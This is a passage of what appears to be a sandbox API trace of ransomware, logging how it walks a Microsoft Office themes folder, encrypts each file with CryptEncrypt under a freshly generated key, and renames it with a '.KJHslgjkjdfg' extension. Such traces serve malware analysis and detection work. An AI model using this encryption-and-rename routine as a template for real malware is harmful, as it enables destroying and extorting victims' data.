ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0178.829] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.829] GetProcessHeap () returned 0x990000 [0178.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0178.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.831] GetProcessHeap () returned 0x990000 [0178.831] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.831] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.831] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.831] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0178.841] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.841] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.841] GetProcessHeap () returned 0x990000 [0178.841] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.841] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.841] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.841] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.842] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.842] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.842] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.842] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.842] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.842] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.842] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.842] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.842] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x623, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x623, lpOverlapped=0x0) returned 1 [0178.842] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x630, dwBufLen=0x630 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x630) returned 1 [0178.842] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.842] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x630, lpOverlapped=0x0) returned 1 [0178.842] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.843] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.843] SetEndOfFile (hFile=0x12c) returned 1 [0178.845] GetProcessHeap () returned 0x990000 [0178.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.846] GetProcessHeap () returned 0x990000 [0178.846] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.852] CloseHandle (hObject=0x12c) returned 1 [0178.853] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.854] GetProcessHeap () returned 0x990000 [0178.854] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.854] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.854] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.854] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0178.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.857] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.857] GetProcessHeap () returned 0x990000 [0178.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.857] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.857] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.857] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.858] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.858] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.858] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.858] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.858] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.858] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.858] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.858] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x75da, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x75da, lpOverlapped=0x0) returned 1 [0178.860] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x75e0, dwBufLen=0x75e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x75e0) returned 1 [0178.860] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.860] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x75e0, lpOverlapped=0x0) returned 1 [0178.860] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.860] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x76b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.860] SetEndOfFile (hFile=0x12c) returned 1 [0178.863] GetProcessHeap () returned 0x990000 [0178.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.864] GetProcessHeap () returned 0x990000 [0178.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.872] CloseHandle (hObject=0x12c) returned 1 [0178.872] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0178.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.873] GetProcessHeap () returned 0x990000 [0178.873] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.874] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.874] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.874] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0178.877] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.877] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.877] GetProcessHeap () returned 0x990000 [0178.877] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.877] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.877] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.877] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.877] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.877] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.877] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.878] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.878] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.878] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.878] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.878] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.878] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbfc6, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xbfc6, lpOverlapped=0x0) returned 1 [0178.883] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbfd0, dwBufLen=0xbfd0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbfd0) returned 1 [0178.884] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.884] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xbfd0, lpOverlapped=0x0) returned 1 [0178.884] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.884] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xc0a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.884] SetEndOfFile (hFile=0x12c) returned 1 [0178.888] GetProcessHeap () returned 0x990000 [0178.888] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.888] GetProcessHeap () returned 0x990000 [0178.888] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.kjhslgjkjdfg")) returned 1 [0178.898] CloseHandle (hObject=0x12c) returned 1 [0178.898] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0178.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.899] GetProcessHeap () returned 0x990000 [0178.899] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.899] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.899] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.899] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0178.901] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.901] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.901] GetProcessHeap () returned 0x990000 [0178.901] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.901] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.901] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.901] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.902] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.902] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.902] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.902] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.902] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.914] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.914] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.914] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.914] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2ab, lpOverlapped=0x0) returned 1 [0178.914] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2b0) returned 1 [0178.914] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.914] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2b0, lpOverlapped=0x0) returned 1 [0178.915] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.915] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.915] SetEndOfFile (hFile=0x12c) returned 1 [0178.943] GetProcessHeap () returned 0x990000 [0178.943] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.943] GetProcessHeap () returned 0x990000 [0178.944] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.kjhslgjkjdfg")) returned 1 [0178.956] CloseHandle (hObject=0x12c) returned 1 [0178.956] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0178.956] GetProcessHeap () returned 0x990000 [0178.956] RtlAllocateHeap 